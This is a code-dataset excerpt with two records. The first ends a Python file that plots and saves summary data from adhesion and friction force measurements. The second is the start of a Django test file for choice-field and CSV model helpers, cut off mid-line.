plt.figure(num=\"Force/Area vs Time\", figsize = [11, 5])\r\n# self.fig1.canvas.mpl_connect('close_event', self.handle_close)\r\n# print(\"fig1\")\r\n# self.fig1.clear()\r\n# ax1 = self.fig1.add_subplot(1,1,1)\r\n# lns = []\r\n \r\n# ax1.set_title('Speed = ' + str(self.speed_um) + ' μm/s')\r\n# ax1.set_xlabel(self.x_var)\r\n# ax1.set_ylabel('Vertical Force (μN)', color = 'r')\r\n# p1, = ax1.plot(xAxisData[self.plot_slice], self.force_vert1_shifted[self.plot_slice], 'ro',\r\n# alpha=0.5, linewidth=1, markersize=1, label=\"Vertical Force\")\r\n# lns.append(p1)\r\n\r\n# if self.ptsnumber != 0:\r\n# ## ptsperstep = int(self.ptsnumber/self.step_num)\r\n# i = 0\r\n# lns_reg = [] #region legend handle\r\n# lab_reg = [] #region legend label\r\n# for a in self.steps: #shade step regions\r\n# if i < ((self.plot_slice.start+1)/self.ptsperstep)-1:\r\n# i += 1\r\n# continue\r\n \r\n# if self.ptsperstep*(i+1)-1 > self.plot_slice.stop:\r\n# endpoint = self.plot_slice.stop - 1\r\n# exit_flag = True\r\n# else:\r\n# endpoint = self.ptsperstep*(i+1) - 1\r\n# exit_flag = False\r\n \r\n# if self.ptsperstep*i < self.plot_slice.start:\r\n# startpoint = self.plot_slice.start\r\n# else:\r\n# startpoint = self.ptsperstep*i \r\n \r\n# x_start = min(xAxisData[startpoint:endpoint])\r\n# x_end = max(xAxisData[startpoint:endpoint])\r\n# if a == 'Front':\r\n# v1 = ax1.axvspan(x_start, x_end, alpha=0.9,\r\n# color='aliceblue', label = a)\r\n# lns_reg.append(v1)\r\n# lab_reg.append(a)\r\n# if exit_flag == True:\r\n# break\r\n# elif a == 'Back':\r\n# v2 = ax1.axvspan(x_start, x_end, alpha=0.9,\r\n# color='whitesmoke', label = a)\r\n# lns_reg.append(v2)\r\n# lab_reg.append(a)\r\n# if exit_flag == True:\r\n# break \r\n# elif a == 'Up':\r\n# v3 = ax1.axvspan(x_start, x_end, alpha=0.9,\r\n# color='honeydew', label = a)\r\n# lns_reg.append(v3)\r\n# lab_reg.append(a)\r\n# if exit_flag == True:\r\n# break \r\n# elif a == 'Down':\r\n# v4 = ax1.axvspan(x_start, x_end, alpha=0.9,\r\n# color='linen', label = a)\r\n# lns_reg.append(v4)\r\n# lab_reg.append(a)\r\n# if exit_flag == True:\r\n# break \r\n# elif a == 'Pause':\r\n# v5 = ax1.axvspan(x_start, x_end, alpha=0.9,\r\n# color='lightyellow', label = a)\r\n# lns_reg.append(v5)\r\n# lab_reg.append(a)\r\n# if exit_flag == True:\r\n# break\r\n# i += 1\r\n \r\n \r\n# dict_reg = dict(zip(lab_reg, lns_reg)) #legend dictionary (remove dup)\r\n# self.fig1.legend(dict_reg.values(), dict_reg.keys(), loc='lower right',\r\n# ncol=len(lns_reg))\r\n \r\n# if self.flag_ap == True: #show adhesion calc\r\n# #fill adhesion energy region \r\n# ax1.fill_between(xAxisData[self.energy_slice],\r\n# self.forceDict[\"zero1\"][0],\r\n# self.force_vert1_shifted[self.energy_slice],\r\n# color = 'black') \r\n# i = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue\r\n# ax1.axhline(y=self.forceDict[\"zero1\"][i], color='y',\r\n# alpha=1, linestyle=linelist[i], linewidth=1) \r\n# ax1.axhline(y=self.forceDict[\"force_min1\"][i], color='y',\r\n# alpha=1, linestyle=linelist[i], linewidth=1)\r\n# ax1.axhline(y=self.forceDict[\"force_max1\"][i], color='y',\r\n# alpha=1, linestyle=linelist[i], linewidth=1)\r\n# ax1.axvline(x=xAxisData[self.time1.index(self.indDict[\"time1_max\"][i])], \r\n# color='y', alpha=1, linestyle=linelist[i], linewidth=1)\r\n# i += 1\r\n\r\n# if self.flag_ca == True or self.flag_ra == True:\r\n# ax2 = ax1.twinx() #secondary axis\r\n# ## cmap = plt.cm.get_cmap(\"Reds\") # type: matplotlib.colors.ListedColormap\r\n# num = len(self.rangeDict.keys())\r\n# ## colors = plt.cm.Reds(np.linspace(0.3,1,num))\r\n# colors = plt.cm.Greens([0.7, 0.5, 0.9, 0.3, 1])\r\n# ax2.set_prop_cycle(color=colors)\r\n# ax2.set_ylabel('Area ($' + unit + '^2$)', color = 'g')\r\n# if self.flag_ca == True:\r\n# i = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue\r\n# p2, = ax2.plot(self.time2[self.plot_slice2],\r\n# self.dataDict[k][0][self.plot_slice2],\r\n# '-' + markerlist[i], alpha=0.5,\r\n# linewidth=1, markersize=2,\r\n# label=\"Contact Area: \" + k)\r\n# lns.append(p2)\r\n# if self.flag_ap == True:\r\n# ax2.plot(self.indDict[\"time1_max\"][i],\r\n# self.areaDict[\"area2_pulloff\"][i],\r\n# 'y' + markerlist[i], alpha=0.8)\r\n# i += 1\r\n# if self.flag_ra == True: #consider first key since auto roi is same for all keys\r\n# colors = plt.cm.Blues([0.7, 0.5, 0.9, 0.3, 1])\r\n# ax2.set_prop_cycle(color=colors)\r\n# j = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue \r\n# p3, = ax2.plot(self.time2[self.plot_slice2],\r\n# self.dataDict[k][3][self.plot_slice2],\r\n# '-' + markerlist[j], alpha=0.5, linewidth=1, markersize=2,\r\n# label=\"ROI Area: \" + k)\r\n# lns.append(p3)\r\n# j += 1\r\n\r\n \r\n# if self.flag_lf == True:\r\n# ax3 = ax1.twinx() #lateral force\r\n# ax3.set_ylabel('Lateral Force (μN)', color = 'c')\r\n# ax3.spines['left'].set_position(('outward', 60))\r\n# ax3.spines[\"left\"].set_visible(True)\r\n# ax3.yaxis.set_label_position('left')\r\n# ax3.yaxis.set_ticks_position('left')\r\n# if self.invert_latf == True:\r\n# ax3.invert_yaxis()\r\n# if self.flag_lf == True:\r\n# p4, = ax3.plot(xAxisData[self.plot_slice], self.force_lat1_shifted[self.plot_slice], 'co',\r\n# alpha=0.5, linewidth=1, markersize=1, label=\"Lateral Force\")\r\n\r\n# ## if self.flag_lf_filter == True:\r\n# ## p4, = ax3.plot(self.time1[self.plot_slice], self.force_lat1_filtered_shifted[self.plot_slice], '-c',\r\n# ## alpha=0.5, linewidth=1, label=\"Lateral Force\")\r\n\r\n# if self.flag_fp == True: #show friction calc\r\n# i = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue\r\n# ax3.axhline(y=self.forceDict[\"force_lat_max\"][i],\r\n# color='g', alpha=1,\r\n# linestyle=linelist[i], linewidth=1)\r\n# ax3.axhline(y=self.forceDict[\"force_lat_min\"][i],\r\n# color='g', alpha=1,\r\n# linestyle=linelist[i], linewidth=1)\r\n# ax1.axhline(y=self.forceDict[\"force_max2\"][i],\r\n# color='g', alpha=1,\r\n# linestyle=linelist[i], linewidth=1)\r\n# ax3.axvline(x=xAxisData[self.time1.index(self.indDict[\"time1_lat_avg\"][i])],\r\n# color='g', alpha=1,\r\n# linestyle=linelist[i], linewidth=1)\r\n# ax2.plot(self.indDict[\"time1_lat_avg\"][i],\r\n# self.areaDict[\"area_friction\"][i],\r\n# 'g' + markerlist[i], alpha=0.8)\r\n# i += 1\r\n# ax3.axhline(y=self.forceDict[\"zero2\"],\r\n# color='g', alpha=0.5,\r\n# linestyle=linelist[0], linewidth=1) \r\n# lns.append(p4)\r\n# else:\r\n# ax3 = None\r\n\r\n# if self.flag_zp == True or self.flag_xp == True or self.flag_zd: #piezo position/deformation\r\n# ax4 = ax1.twinx() #piezo waveform\r\n# ax4.set_ylabel('Displacement (μm)', color = 'violet')\r\n# if self.flag_ca == True or self.flag_ra == True: #shift axis if area plotted\r\n# ax4.spines['right'].set_position(('outward', 70))\r\n# ## ax4.invert_yaxis()\r\n# if self.flag_zp == True:\r\n# p5, = ax4.plot(xAxisData[self.plot_slice], self.dist_vert1[self.plot_slice], '-',\r\n# markersize=1, color = 'violet',\r\n# alpha=0.5, label=\"Vertical Piezo\")\r\n# lns.append(p5)\r\n# if self.flag_xp == True:\r\n# p6, = ax4.plot(xAxisData[self.plot_slice], self.dist_lat1[self.plot_slice], '-.',\r\n# markersize=1, color = 'violet',\r\n# alpha=0.5, label=\"Lateral Piezo\")\r\n# lns.append(p6)\r\n# if self.flag_zd == True: #actual deformation plot\r\n# p12, = ax4.plot(xAxisData[self.plot_slice], self.deform_vert[self.plot_slice], '-o',\r\n# markersize=1, color = 'violet',\r\n# alpha=0.5, label=\"Deformation\")\r\n# if self.flag_ap == True:\r\n# ax1.axvline(x=xAxisData[self.deform_tol], color='violet', \r\n# alpha=1, linestyle=\":\", linewidth=1)\r\n# lns.append(p12)\r\n \r\n# if self.flag_cl == True or self.flag_rl == True:\r\n# ax5 = ax1.twinx()\r\n# num = len(self.rangeDict.keys())\r\n# colors = plt.cm.copper(np.linspace(0.2,0.7,num))\r\n# ax5.set_prop_cycle(color=colors)\r\n# ax5.set_ylabel('Length ($' + unit + '$)', color = 'brown')\r\n# if self.flag_ca == True or self.flag_ra == True: \r\n# ax5.spines['right'].set_position(('outward', 70)) \r\n# if self.flag_cl == True: #contact length\r\n# i = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue \r\n# p7, = ax5.plot(self.time2[self.plot_slice2],\r\n# self.dataDict[k][1][self.plot_slice2],\r\n# '-' + markerlist[i], alpha=0.5, linewidth=1,\r\n# markersize=2, label=\"Contact Length: \" + k)\r\n# lns.append(p7)\r\n# i += 1\r\n# if self.flag_rl == True: #roi length\r\n# ## ax5 = ax1.twinx()\r\n# num = len(self.rangeDict.keys())\r\n# colors = plt.cm.Wistia(np.linspace(0.2,0.7,num))\r\n# ax5.set_prop_cycle(color=colors)\r\n# ## ax5.spines['right'].set_position(('outward', 70))\r\n# j = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue\r\n# ## ax5.set_ylabel('Length ($' + unit + '$)', color = 'brown')\r\n# p8, = ax5.plot(self.time2[self.plot_slice2],\r\n# self.dataDict[k][4][self.plot_slice2],\r\n# '-' + markerlist[j], alpha=0.5, linewidth=1,\r\n# markersize=2, label=\"ROI Length: \" + k)\r\n# lns.append(p8)\r\n# j += 1\r\n# if self.flag_cn == True: #contact number\r\n# ax5 = ax1.twinx()\r\n# num = len(self.rangeDict.keys())\r\n# colors = plt.cm.copper(np.linspace(0.2,0.7,num))\r\n# ax5.set_prop_cycle(color=colors)\r\n# ax5.spines['right'].set_position(('outward', 70))\r\n# i = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue\r\n# ax5.set_ylabel('Number', color = 'brown')\r\n# p9, = ax5.plot(self.time2[self.plot_slice2],\r\n# self.dataDict[k][2][self.plot_slice2],\r\n# '-' + markerlist[i], alpha=0.5, linewidth=1,\r\n# markersize=2, label=\"Contact Number: \" + k)\r\n# lns.append(p9)\r\n# i += 1\r\n# if self.flag_ecc == True: #contact eccentricity\r\n# ax5 = ax1.twinx()\r\n# num = len(self.rangeDict.keys())\r\n# colors = plt.cm.copper(np.linspace(0.2,0.7,num))\r\n# ax5.set_prop_cycle(color=colors)\r\n# ax5.spines['right'].set_position(('outward', 70))\r\n# i = 0\r\n# for k in self.rangeDict.keys():\r\n# if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n# continue\r\n# ax5.set_ylabel('Eccentricity' + unit + '$)', color = 'brown')\r\n# p10, = ax5.plot(self.time2[self.plot_slice2],\r\n# self.dataDict[k][5][self.plot_slice2],\r\n# '-' + markerlist[i], alpha=0.5, linewidth=1,\r\n# markersize=2, label=\"Median Eccentricity: \" + k)\r\n# lns.append(p10)\r\n# i += 1\r\n \r\n# if self.flag_st == True or self.flag_lf_filter == True: #stress\r\n# ax6 = ax1.twinx() \r\n# ax6.set_ylabel('Stress (μN/$' + unit + '^2$)', color = 'c')\r\n# ax6.spines['left'].set_position(('outward', 60))\r\n# ax6.spines[\"left\"].set_visible(True)\r\n# ax6.yaxis.set_label_position('left')\r\n# ax6.yaxis.set_ticks_position('left')\r\n# if self.flag_st == True:\r\n# p11, = ax6.plot(xAxisData[self.plot_slice],\r\n# self.stress[self.plot_slice], 'co',\r\n# alpha=0.5, linewidth=1, markersize=1,\r\n# label=\"Stress\") \r\n# if self.flag_lf_filter == True:\r\n# p11, = ax6.plot(xAxisData[self.plot_slice],\r\n# self.stress_filtered[self.plot_slice], '-c',\r\n# alpha=0.5, linewidth=1, markersize=1,\r\n# label=\"Stress\")\r\n\r\n# lns.append(p11)\r\n \r\n# ## lns = [p1, p3, p2, p4, p5]\r\n# ## else:\r\n# ## lns = [p1, p2]\r\n\r\n# ax1.legend(handles=lns, loc = self.legendPos)\r\n\r\n# if self.flag_fit == True:\r\n# axDict = {'Vertical Force (μN)':ax1, 'Lateral Force (μN)':ax3}\r\n# yDict = {'Vertical Force (μN)':self.force_vert1_shifted,\r\n# 'Lateral Force (μN)':self.force_lat1_shifted}\r\n# fit_slice = slice(int(self.startFit * self.ptsnumber/100),\r\n# int(self.endFit * self.ptsnumber/100))\r\n# self.slope_unit = self.fit_y.split('(')[1].split(')')[0] + '/' +\\\r\n# self.fit_x.split('(')[1].split(')')[0]\r\n# text_pos = self.fit_pos.split(\",\")\r\n \r\n# self.slope = self.fitData(xDict.get(self.fit_x)[fit_slice], yDict.get(self.fit_y)[fit_slice],\r\n# axDict.get(self.fit_y), xAxisData[fit_slice], unit = self.slope_unit,\r\n# eq_pos = text_pos, fit_order = 1, fit_show = self.fit_show)\r\n# else:\r\n# self.slope = ''\r\n# self.slope_unit = ''\r\n# self.fig1.tight_layout()\r\n\r\n# ## print(e)\r\n# ## messagebox.showinfo(\"Plot Error!\", \"Check force file/video file\\n\" +\r\n# ## \"Exception: \" + str(e))\r\n \r\n# def showPlot(self): #show plot\r\n# ## self.fig1.show()\r\n# try:\r\n# plt.pause(0.05)\r\n# self.fig1.canvas.draw()\r\n# except Exception as e:\r\n# print(e)\r\n \r\n# ## plt.show(block=False)\r\n# ## plt.draw()\r\n\r\n# def handle_close(self, evt): #figure closed event\r\n# self.fig1_close = True\r\n \r\n# def convertPlot(self): #convert plot to numpy\r\n# self.fig1.canvas.draw()\r\n# data = np.fromstring(self.fig1.canvas.tostring_rgb(),\r\n# dtype=np.uint8, sep='')\r\n# data = data.reshape(self.fig1.canvas.get_width_height()[::-1] + (3,))\r\n# return data\r\n\r\n# def savePlot(self, filepath): #save force plots\r\n# print(\"save plot\")\r\n# self.fig1.savefig(filepath, orientation='landscape',\r\n# transparent = True)\r\n\r\n def saveSummaryData(self, videofile1, videofile2, zeroforcefile, unit, msrmnt_num, summary_filepath): #save and append data\r\n print(\"save summary\")\r\n## self.summary_filepath = os.path.dirname(os.path.dirname(\r\n## self.force_filepath))+ \"/Analysis/Summary/summary data.txt\"\r\n if os.path.exists(summary_filepath) == False:\r\n with open(summary_filepath, \"w\", encoding=\"utf-8\") as f:\r\n## f.write(\"Lateral Force Calib [μN] \\t\" + self.calib_lat1 + \"\\n\")\r\n f.write(\"Max Area [\" + unit + \"^2]\\tPulloff Area [\" + unit + \"^2]\\tAdhesion [μN]\\t\" +\r\n \"Adhesion Preload [μN]\\tContact Time[s]\\tSpeed [μm/s]\\t\" +\r\n \"Steps\\tFriction [μN]\\tFriction Area [\" + unit + \"^2]\\t\" +\r\n \"Friction Preload [μN]\\tMeasurement number\\t\" +\r\n \"Measurement OK?\\tROI Labels\\t\" +\r\n \"Step Dictionary\\tVertical Force Stdev\\t\" +\r\n \"Lateral Force Stdev\\tSliding Step\\t\" +\r\n \"ROI Max Area [\" + unit + \"^2]\\tROI Pulloff Area [\" + unit + \"^2]\\t\" +\r\n \"Max Length [\" + unit + \"]\\tPulloff Length [\" + unit + \"]\\t\" +\r\n \"ROI Max Length [\" + unit + \"^2]\\tROI Pulloff Length [\" + unit + \"^2]\\t\" +\r\n \"Pulloff Median Eccentricity\\tPulloff Contact Number\\t\" +\r\n \"Residue Area [\" + unit + \"^2]\\tSlope [\" + self.slope_unit + \"]\\t\" + \r\n \"Beam Spring Constant [μN/μm]\\tBeam Spring Constant Stdev\\t\" + \r\n \"Initial Deformation[μm]\\tPulloff Deformation[μm]\\tAdhesion Energy [pJ]\\t\" +\r\n \"Max Bounding Area [\" + unit + \"^2]\\t Max Bounding Perimeter [\" + unit + \"]\\t\" +\r\n \"Max Bounding Length [\" + unit + \"]\\tMax Bounding Width [\" + unit + \"]\\t\" +\r\n \"Video file\\tForce data file\\t2nd Video file\\tZero-Force file\\n\")\r\n\r\n## max_area = [self.areaDict[\"area2_max\"][k] - self.areaDict[\"area2_init\"][k] \\\r\n## for k in range(0, len(self.dataDict.keys())-1)]\r\n## pulloff_area = [self.areaDict[\"area_pulloff\"][k] - self.areaDict[\"area2_init\"][k] \\\r\n## for k in range(0, len(self.dataDict.keys())-1)]\r\n## friction_area = [self.areaDict[\"area_friction\"][k] - self.areaDict[\"area2_init\"][k] \\\r\n## for k in range(0, len(self.dataDict.keys())-1)]\r\n \r\n roi_label = []\r\n max_area2 = []\r\n pulloff_area2 = []\r\n max_area3 = []\r\n pulloff_area3 = []\r\n friction_area = []\r\n max_contLength = []\r\n pulloff_contLength = []\r\n max_roilen = []\r\n pulloff_roilen = []\r\n pulloff_ecc = []\r\n pulloff_contnum = []\r\n residue_area2 = []\r\n adhesion = []\r\n preload1 = []\r\n## contact_time = []\r\n friction = []\r\n preload2 = []\r\n elip_area = []\r\n elip_per = []\r\n elip_maj = []\r\n elip_min = []\r\n i = 0\r\n for k in self.rangeDict.keys():\r\n print(i)\r\n if len(self.rangeDict.keys()) > 1 and k == \"Default\":\r\n continue\r\n roi_label.append(k)\r\n max_area2.append(self.areaDict[\"area2_max\"][i] -\r\n self.areaDict[\"area2_init\"][i])\r\n pulloff_area2.append(self.areaDict[\"area2_pulloff\"][i] -\r\n self.areaDict[\"area2_init\"][i])\r\n max_area3.append(self.areaDict[\"area3_max\"][i])\r\n pulloff_area3.append(self.areaDict[\"area3_pulloff\"][i])\r\n friction_area.append(self.areaDict[\"area_friction\"][i] -\r\n self.areaDict[\"area2_init\"][i])\r\n max_contLength.append(self.lengthDict[\"contLength_max\"][i] -\r\n self.lengthDict[\"contLength_init\"][i])\r\n pulloff_contLength.append(self.lengthDict[\"contLength_pulloff\"][i] -\r\n self.lengthDict[\"contLength_init\"][i])\r\n max_roilen.append(self.lengthDict[\"roilen_max\"][i])\r\n pulloff_roilen.append(self.lengthDict[\"roilen_pulloff\"][i])\r\n pulloff_ecc.append(self.lengthDict[\"ecc_pulloff\"][i])\r\n pulloff_contnum.append(self.lengthDict[\"contnum_pulloff\"][i])\r\n residue_area2.append(self.areaDict[\"area2_residue\"][i] -\r\n self.areaDict[\"area2_init\"][i]) \r\n adhesion.append(self.forceDict[\"force_adhesion1\"][i])\r\n preload1.append(self.forceDict[\"force_preload1\"][i])\r\n## contact_time.append(self.indDict[\"contact_time1\"][i])\r\n friction.append(self.forceDict[\"force_friction\"][i])\r\n preload2.append(self.forceDict[\"force_preload2\"][i])\r\n elip_area.append(self.ellipDict[\"ellipAr_max\"][i])\r\n elip_per.append(self.ellipDict[\"ellipPer_max\"][i])\r\n elip_maj.append(self.ellipDict[\"ellipMajr_max\"][i])\r\n elip_min.append(self.ellipDict[\"ellipMinr_max\"][i])\r\n \r\n i += 1\r\n \r\n with open(summary_filepath, \"a\") as f:\r\n f.write(str(max_area2)+'\\t' +\r\n str(pulloff_area2)+'\\t' +\r\n str(adhesion) + '\\t' +\r\n str(preload1) +'\\t' +\r\n str(self.contact_time1) +'\\t' +\r\n str(self.speed_um) + '\\t' + str(self.steps) + '\\t' +\r\n str(friction) + '\\t' +\r\n str(friction_area) + '\\t' +\r\n str(preload2) + '\\t' +\r\n str(msrmnt_num) + '\\tY\\t' +\r\n str(roi_label) + '\\t' + str(self.speedDict) + '\\t' +\r\n str(self.forceDict[\"zero1_stdv\"]) + '\\t' +\r\n str(self.forceDict[\"zero2_stdv\"]) + '\\t' +\r\n self.slideStep + '\\t' +\r\n str(max_area3)+'\\t' +\r\n str(pulloff_area3)+'\\t' +\r\n str(max_contLength)+'\\t' +\r\n str(pulloff_contLength)+'\\t' +\r\n str(max_roilen)+'\\t' +\r\n str(pulloff_roilen)+'\\t' +\r\n str(pulloff_ecc)+'\\t' +\r\n str(pulloff_contnum)+'\\t' +\r\n str(residue_area2)+'\\t' + str(self.slope) + '\\t' +\r\n self.k_beam.split(',')[0] + '\\t' + self.k_beam.split(',')[1] + '\\t' +\r\n str(self.deform_init) + '\\t' + str(self.deform_pulloff) + '\\t' +\r\n str(self.energy_adhesion) + '\\t' +\r\n str(elip_area)+'\\t' + str(elip_per) + '\\t' +\r\n str(elip_maj)+'\\t' + str(elip_min) + '\\t' +\r\n videofile1 + '\\t' +\r\n self.force_filepath.split('/')[-1][:-4] +\r\n '\\t' + videofile2 +\r\n '\\t' + zeroforcefile + '\\n')\r\n \r\n\r\n##a = ForceData()\r\n##a.importData()\r\n##print(\"end\")\r\n####a.getArea([1,2,3], [4,5,6])\r\n####a.plotData()\r\n####a.savePlot(\"C:/Users/sudersanp/Desktop/Work/Codes/Video Analyser/test123\")\r\n####a.saveSummaryData()\r\n##a.plotSummary()\r\n##a.showSummaryPlot()\r\n","repo_name":"PranavSudersan/Buggee","sub_path":"analysis/forceanalysis_old.py","file_name":"forceanalysis_old.py","file_ext":"py","file_size_in_byte":59740,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"43115905831","text":"from collections import OrderedDict\nfrom django.test import TestCase\nfrom django.utils.translation import ugettext_lazy as _\nfrom magi.item_model import i_choices\nfrom test import models\n\nclass IChoicesTestModelTestCase(TestCase):\n def setUp(self):\n self.attribute_i = models.IChoicesTest.get_i('attribute', 'pure')\n self.power_i = 1 # It's not possible to use get_i when using translated values\n self.super_power_i = models.IChoicesTest.get_i('super_power', 'rock')\n self.rarity_i = models.IChoicesTest.get_i('rarity', 'N')\n self.language_i = 'it'\n self.notification_i = models.IChoicesTest.get_i('notification', 'follow')\n self.play_with_i = None\n\n self.ichoices_test = models.IChoicesTest.objects.create(\n i_attribute=self.attribute_i,\n i_power=self.power_i,\n i_super_power=self.super_power_i,\n i_rarity=self.rarity_i,\n i_language=self.language_i,\n i_notification=self.notification_i,\n i_play_with=self.play_with_i,\n )\n\n def test_i_choices(self):\n self.assertEqual(i_choices(models.IChoicesTest.ATTRIBUTE_CHOICES), [\n (0, 'smile'),\n (1, 'pure'),\n (2, 'cool'),\n ])\n self.assertEqual(i_choices(models.IChoicesTest.POWER_CHOICES), [\n (0, _('Happy')),\n (1, _('Cool')),\n (2, _('Rock')),\n ])\n self.assertEqual(i_choices(models.IChoicesTest.SUPER_POWER_CHOICES), [\n (0, _('Happy')),\n (1, _('Cool')),\n (2, _('Rock')),\n ])\n self.assertEqual(i_choices(models.IChoicesTest.NOTIFICATION_CHOICES), [\n (0, _('When someone likes your activity.')),\n (1, _('When someone follows you.')),\n ])\n self.assertEqual(i_choices(models.IChoicesTest.PLAY_WITH_CHOICES), [\n (0, _('Thumbs')),\n (1, _('All fingers')),\n (2, _('Index fingers')),\n (3, _('One hand')),\n (4, _('Other')),\n ])\n\n # Class methods\n\n def test_get_choices(self):\n self.assertEqual(models.IChoicesTest.get_choices('attribute'), [\n (0, 'smile'),\n (1, 'pure'),\n (2, 'cool'),\n ])\n self.assertEqual(models.IChoicesTest.get_choices('power'), [\n (0, _('Happy')),\n (1, _('Cool')),\n (2, _('Rock')),\n ])\n self.assertEqual(models.IChoicesTest.get_choices('super_power'), [\n (0, ('happy', _('Happy'))),\n (1, ('cool', _('Cool'))),\n (2, ('rock', _('Rock'))),\n ])\n self.assertEqual(models.IChoicesTest.get_choices('rarity'), [\n (0, 'N'),\n (1, 'R'),\n (2, 'SR'),\n ])\n self.assertEqual(models.IChoicesTest.get_choices('language'), [\n ('en', ('en', _('English'))),\n ('es', ('es', _('Spanish'))),\n ('ru', ('ru', _('Russian'))),\n ('it', ('it', _('Italian'))),\n ])\n self.assertEqual(models.IChoicesTest.get_choices('notification'), [\n (0, ('like', _('When someone likes your activity.'))),\n (1, ('follow', _('When someone follows you.'))),\n ])\n self.assertEqual(models.IChoicesTest.get_choices('play_with'), [\n (0, ('Thumbs', _('Thumbs'))),\n (1, ('Fingers', _('All fingers'))),\n (2, ('Index', _('Index fingers'))),\n (3, ('Hand', _('One hand'))),\n (4, ('Other', _('Other'))),\n ])\n\n def test_get_i(self):\n self.assertEqual(self.attribute_i, 1)\n self.assertEqual(self.power_i, 1)\n self.assertEqual(self.super_power_i, 2)\n self.assertEqual(self.rarity_i, 0)\n self.assertEqual(self.language_i, 'it')\n self.assertEqual(self.notification_i, 1)\n self.assertEqual(self.play_with_i, None)\n\n def test_get_reverse_i(self):\n self.assertEqual(models.IChoicesTest.get_reverse_i('attribute', 2), 'cool')\n self.assertEqual(models.IChoicesTest.get_reverse_i('power', 1), _('Cool'))\n self.assertEqual(models.IChoicesTest.get_reverse_i('super_power', 0), 'happy')\n self.assertEqual(models.IChoicesTest.get_reverse_i('rarity', 0), 'N')\n self.assertEqual(models.IChoicesTest.get_reverse_i('language', 'ru'), 'ru')\n self.assertEqual(models.IChoicesTest.get_reverse_i('notification', 1), 'follow')\n self.assertEqual(models.IChoicesTest.get_reverse_i('play_with', None), None)\n\n def test_get_verbose_i(self):\n self.assertEqual(models.IChoicesTest.get_verbose_i('attribute', 2), 'cool')\n self.assertEqual(models.IChoicesTest.get_verbose_i('power', 1), _('Cool'))\n self.assertEqual(models.IChoicesTest.get_verbose_i('super_power', 0), _('Happy'))\n self.assertEqual(models.IChoicesTest.get_verbose_i('rarity', 0), 'N')\n self.assertEqual(models.IChoicesTest.get_verbose_i('language', 'ru'), _('Russian'))\n self.assertEqual(models.IChoicesTest.get_verbose_i('notification', 1), _('When someone follows you.'))\n self.assertEqual(models.IChoicesTest.get_verbose_i('play_with', None), None)\n\n # Instance properties\n\n def test_i_something(self):\n self.assertEqual(self.ichoices_test.i_attribute, self.attribute_i)\n self.assertEqual(self.ichoices_test.i_power, self.power_i)\n self.assertEqual(self.ichoices_test.i_super_power, self.super_power_i)\n self.assertEqual(self.ichoices_test.i_rarity, self.rarity_i)\n self.assertEqual(self.ichoices_test.i_language, self.language_i)\n self.assertEqual(self.ichoices_test.i_notification, self.notification_i)\n self.assertEqual(self.ichoices_test.i_play_with, self.play_with_i)\n\n def test_something(self):\n self.assertEqual(self.ichoices_test.attribute, 'pure')\n self.assertEqual(self.ichoices_test.power, _('Cool'))\n self.assertEqual(self.ichoices_test.super_power, 'rock')\n self.assertEqual(self.ichoices_test.rarity, 'N')\n self.assertEqual(self.ichoices_test.language, 'it')\n self.assertEqual(self.ichoices_test.notification, 'follow')\n self.assertEqual(self.ichoices_test.play_with, None)\n\n def test_t_something(self):\n self.assertEqual(self.ichoices_test.t_attribute, 'pure')\n self.assertEqual(self.ichoices_test.t_power, _('Cool'))\n self.assertEqual(self.ichoices_test.t_super_power, _('Rock'))\n self.assertEqual(self.ichoices_test.t_rarity, 'N')\n self.assertEqual(self.ichoices_test.t_language, _('Italian'))\n self.assertEqual(self.ichoices_test.t_notification, _('When someone follows you.'))\n self.assertEqual(self.ichoices_test.t_play_with, None)\n\n # Instance methods\n\n def test_notification_icon(self):\n self.assertEqual(self.ichoices_test.notification_icon, 'users')\n self.ichoices_test.i_notification = models.IChoicesTest.get_i('notification', 'like')\n self.assertEqual(self.ichoices_test.notification_icon, 'heart')\n\nclass CCSVTestModelTestCase(TestCase):\n def setUp(self):\n self.ccsv_test = models.CCSVTest()\n\n def test_empty(self):\n self.assertEqual(self.ccsv_test.data, [])\n self.assertEqual(self.ccsv_test.abilities, [])\n self.assertEqual(self.ccsv_test.tags, [])\n\n # data\n # Without choices restriction\n\n def test_data_save_c(self):\n self.ccsv_test.save_c('data', ['hello', 'world'])\n self.assertEqual(self.ccsv_test.c_data, '\"hello\",\"world\"')\n self.assertEqual(self.ccsv_test.data, ['hello', 'world'])\n self.assertEqual(self.ccsv_test.t_data, OrderedDict([\n ('hello', 'hello'),\n ('world', 'world'),\n ]))\n\n def test_data_add_c(self):\n self.ccsv_test.save_c('data', ['hello', 'world'])\n self.ccsv_test.add_c('data', ['boo'])\n self.assertEqual(self.ccsv_test.c_data, '\"hello\",\"world\",\"boo\"')\n self.assertEqual(self.ccsv_test.data, ['hello', 'world', 'boo'])\n self.assertEqual(self.ccsv_test.t_data, OrderedDict([\n ('hello', 'hello'),\n ('world', 'world'),\n ('boo', 'boo'),\n ]))\n\n def test_data_remove_c(self):\n self.ccsv_test.save_c('data', ['hello', 'boo', 'world'])\n self.ccsv_test.remove_c('data', ['boo'])\n self.assertEqual(self.ccsv_test.c_data, '\"hello\",\"world\"')\n self.assertEqual(self.ccsv_test.data, ['hello', 'world'])\n self.assertEqual(self.ccsv_test.t_data, OrderedDict([\n ('hello', 'hello'),\n ('world', 'world'),\n ]))\n\n # Abilities\n # With choices restrictions with translations\n\n def test_abilities_save_c(self):\n self.ccsv_test.save_c('abilities', ['fly', 'sing'])\n self.assertEqual(self.ccsv_test.c_abilities, '\"fly\",\"sing\"')\n self.assertEqual(self.ccsv_test.abilities, ['fly', 'sing'])\n self.assertEqual(self.ccsv_test.t_abilities, OrderedDict([\n ('fly', _('Fly')),\n ('sing', 